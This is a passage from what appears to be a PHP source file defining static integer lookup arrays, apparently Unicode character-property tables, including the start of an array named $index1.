70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 129, 130, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 73, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 131, 73, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 131, ]; private static $index1 = [ 0, 1, 0, 2, 3, 4, 5, 6, 7, 8, 8, 9, 10, 11, 11, 12, 13, 0, 0, 0, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 29, 31, 32, 33, 34, 35, 27, 30, 29, 27, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 27, 27, 49, 27, 27, 27, 27, 27, 27, 27, 50, 51, 52, 27, 53, 54, 53, 54, 54, 54, 54, 54, 55, 54, 54, 54, 56, 57, 58, 59, 60, 61, 62, 63, 64, 64, 65, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 65, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 97, 97, 97, 98, 98, 98, 98, 99, 100, 101, 101, 101, 101, 102, 103, 101, 101, 101, 101, 101, 101, 104, 105, 101, 101, 101, 101, 101, 101, 101, 101, 101, 101, 101, 106, 107, 108, 108, 108, 109, 110, 111, 112, 112, 112, 112, 113, 114, 115, 116, 117, 118, 119, 120, 106, 121, 121, 121, 122, 123, 106, 124, 125, 126, 127, 128, 128, 128, 128, 129, 130, 131, 132, 133, 134, 135, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 145, 145, 146, 147, 148, 149, 128, 128, 128, 128, 128, 128, 150, 150, 150, 150, 151, 152, 153, 106, 154, 155, 156, 156, 156, 157, 158, 159, 160, 160, 161, 162, 163, 164, 165, 166, 167, 167, 167, 168, 106, 106, 106, 106, 106, 106, 106, 106, 169, 170, 106, 106, 106, 106, 106, 106, 171, 172, 173, 174, 175, 176, 176, 176, 176, 176, 176, 177, 178, 179, 180, 176, 181, 182, 183, 184, 185, 186, 187, 188, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 106, 214, 215, 216, 217, 217, 218, 219, 220, 221, 222, 223, 106, 224, 225, 226, 106, 227, 228, 229, 230, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 106, 241, 242, 243, 244, 245, 242, 246, 247, 248, 249, 250, 106, 251, 252, 253, 254, 255, 256, 257, 258, 258, 257, 259, 260, 261, 262, 263, 264, 265, 266, 106, 267, 268, 269, 270, 271, 271, 270, 272, 273, 274, 275, 276, 277, 278, 279, 280, 106, 281, 282, 283, 284, 284, 284, 284, 285, 286, 287, 288, 106, 289, 290, 291, 292, 293, 294, 295, 296, 294, 294, 297, 298, 295, 299, 300, 301, 106, 106, 302, 106, 303, 304, 304, 304, 304, 304, 305, 306, 307, 308, 309, 310, 106, 106, 106, 106, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 106, 106, 106, 106, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 331, 331, 331, 333, 334, 335, 336, 337, 338, 339, 338, 338, 338, 340, 341, 342, 343, 344, 106, 106, 106, 106, 345, 345, 345, 345, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 345, 356, 357, 349, 358, 359, 359, 359, 359, 360, 361, 362, 362, 362, 362, 362, 363, 364, 364, 364, 364, 364, 364, 364, 364, 364, 364, 364, 364, 365, 365, 365, 365, 365, 365, 365, 365, 365, 365, 365, 365, 365, 365, 365, 365, 365, 365, 365, 365, 366, 366, 366, 366, 366, 366, 366, 366, 366, 367, 368, 367, 366, 366, 366, 366, 366, 367, 366, 366, 366, 366, 367, 368, 367, 366, 368, 366, 366, 366, 366, 366, 366, 366, 367, 366, 366, 366, 366, 366, 366, 366, 366, 369, 370, 371, 372, 373, 366, 366, 374, 375, 376, 376, 376, 376, 376, 376, 376, 376, 376, 376, 377, 106, 378, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 379, 380, 379, 379, 381, 382, 382, 383, 384, 384, 384, 384, 384, 384, 384, 384, 384, 385, 386, 106, 387, 388, 389, 106, 390, 390, 391, 106, 392, 392, 393, 106, 394, 395, 396, 106, 397, 397, 397, 397, 397, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 412, 412, 412, 413, 412, 412, 412, 412, 412, 412, 106, 412, 412, 412, 412, 412, 414, 379, 379, 379, 379, 379, 379, 379, 379, 415, 106, 416, 416, 416, 417, 418, 419, 420, 421, 422, 423, 424, 424, 424, 425, 426, 106, 427, 427, 427, 427, 427, 428, 429, 429, 430, 431, 432, 433, 434, 434, 434, 434, 435, 435, 436, 437, 438, 438, 438, 438, 438, 438, 439, 440, 441, 442, 443, 444, 445, 446, 445, 446, 447, 448, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 449, 450, 450, 450, 450, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 462, 462, 463, 464, 465, 466, 467, 467, 467, 467, 468, 469, 470, 471, 472, 472, 472, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 481, 481, 482, 106, 106, 106, 106, 106, 106, 106, 106, 483, 106, 484, 485, 486, 487, 488, 106, 54, 54, 54, 54, 489, 490, 56, 56, 56, 56, 56, 491, 492, 493, 54, 494, 54, 54, 54, 495, 56, 56, 56, 496, 497, 498, 499, 500, 501, 106, 106, 502, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 503, 504, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 505, 506, 507, 508, 505, 506, 505, 506, 507, 508, 505, 509, 505, 506, 505, 507, 505, 510, 505, 510, 505, 510, 511, 512, 513, 514, 515, 516, 505, 517, 518, 519, 520, 521, 522, 523, 524, 525, 526, 527, 528, 529, 530, 531, 532, 533, 534, 535, 536, 537, 56, 538, 539, 540, 539, 541, 106, 106, 542, 543, 544, 545, 546, 106, 547, 548, 549, 550, 551, 552, 553, 554, 555, 556, 557, 558, 559, 560, 559, 561, 562, 563, 564, 565, 566, 567, 568, 569, 568, 570, 571, 568, 572, 568, 573, 574, 575, 576, 577, 578, 579, 580, 581, 582, 583, 584, 585, 586, 587, 588, 583, 583, 589, 590, 591, 592, 593, 583, 583, 594, 574, 595, 596, 583, 583, 597, 583, 583, 568, 598, 599, 568, 600, 601, 602, 603, 603, 603, 603, 603, 603, 603, 603, 604, 568, 568, 605, 606, 574, 574, 607, 568, 568, 568, 568, 573, 608, 568, 609, 106, 568, 568, 568, 568, 610, 106, 106, 106, 568, 611, 106, 106, 612, 612, 612, 612, 612, 613, 613, 614, 615, 615, 615, 615, 615, 615, 615, 615, 615, 616, 612, 612, 617, 617, 617, 617, 617, 617, 617, 617, 617, 618, 617, 617, 617, 617, 618, 568, 617, 617, 619, 568, 620, 569, 621, 622, 623, 624, 569, 568, 619, 572, 568, 574, 625, 626, 622, 627, 568, 568, 568, 568, 628, 568, 568, 568, 629, 630, 568, 568, 568, 568, 568, 631, 568, 632, 568, 631, 633, 634, 617, 617, 635, 617, 617, 617, 636, 568, 568, 568, 568, 568, 568, 637, 568, 568, 572, 568, 568, 638, 639, 612, 640, 640, 641, 568, 568, 568, 568, 568, 642, 643, 644, 645, 646, 647, 574, 574, 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, 574, 574, 574, 574, 574, 574, 574, 574, 574, 574, 574, 574, 574, 574, 574, 574, 649, 650, 650, 651, 583, 583, 574, 652, 597, 653, 654, 655, 656, 657, 658, 659, 574, 660, 583, 661, 662, 663, 664, 645, 574, 574, 586, 652, 664, 665, 666, 667, 583, 583, 583, 583, 668, 669, 583, 583, 583, 583, 670, 671, 672, 645, 673, 674, 568, 568, 568, 568, 568, 568, 574, 574, 675, 676, 677, 678, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 679, 679, 679, 679, 679, 680, 681, 681, 681, 681, 681, 682, 683, 684, 685, 686, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 687, 688, 689, 690, 691, 691, 691, 691, 692, 693, 694, 694, 694, 694, 694, 694, 694, 695, 696, 697, 366, 366, 368, 106, 368, 368, 368, 368, 368, 368, 368, 368, 698, 698, 698, 698, 699, 700, 701, 702, 703, 704, 529, 705, 106, 106, 106, 106, 106, 106, 106, 106, 706, 706, 706, 707, 706, 706, 706, 706, 706, 706, 706, 706, 706, 706, 708, 106, 706, 706, 706, 706, 706, 706, 706, 706, 706, 706, 706, 706, 706, 706, 706, 706, 706, 706, 706, 706, 706, 706, 706, 706, 706, 706, 709, 106, 106, 106, 710, 711, 712, 713, 714, 715, 716, 717, 718, 719, 720, 721, 721, 721, 721, 721, 721, 721, 721, 721, 722, 723, 724, 725, 725, 725, 725, 725, 725, 725, 725, 725, 725, 726, 727, 728, 728, 728, 728, 729, 730, 364, 364, 364, 364, 364, 364, 364, 364, 364, 364, 731, 732, 733, 728, 728, 728, 734, 710, 710, 710, 710, 711, 106, 725, 725, 735, 735, 735, 736, 737, 738, 733, 733, 733, 739, 740, 741, 735, 735, 735, 742, 737, 738, 733, 733, 733, 733, 743, 741, 733, 744, 745, 745, 745, 745, 745, 746, 745, 745, 745, 745, 745, 745, 745, 745, 745, 745, 745, 733, 733, 733, 747, 748, 733, 733, 733, 733, 733, 733, 733, 733, 733, 733, 733, 749, 733, 733, 733, 747, 750, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 752, 753, 568, 568, 568, 568, 568, 568, 568, 568, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 754, 753, 753, 753, 753, 753, 753, 755, 755, 756, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 755, 757, 758, 758, 758, 758, 758, 758, 759, 106, 760, 760, 760, 760, 760, 761, 762, 762, 762, 762, 762, 762, 762, 762, 762, 762, 762, 762, 762, 762, 762, 762, 762, 762, 762, 762, 762, 762, 762, 762, 762, 762, 762, 762, 762, 762, 762, 762, 762, 763, 762, 762, 764, 765, 106, 106, 101, 101, 101, 101, 101, 766, 767, 768, 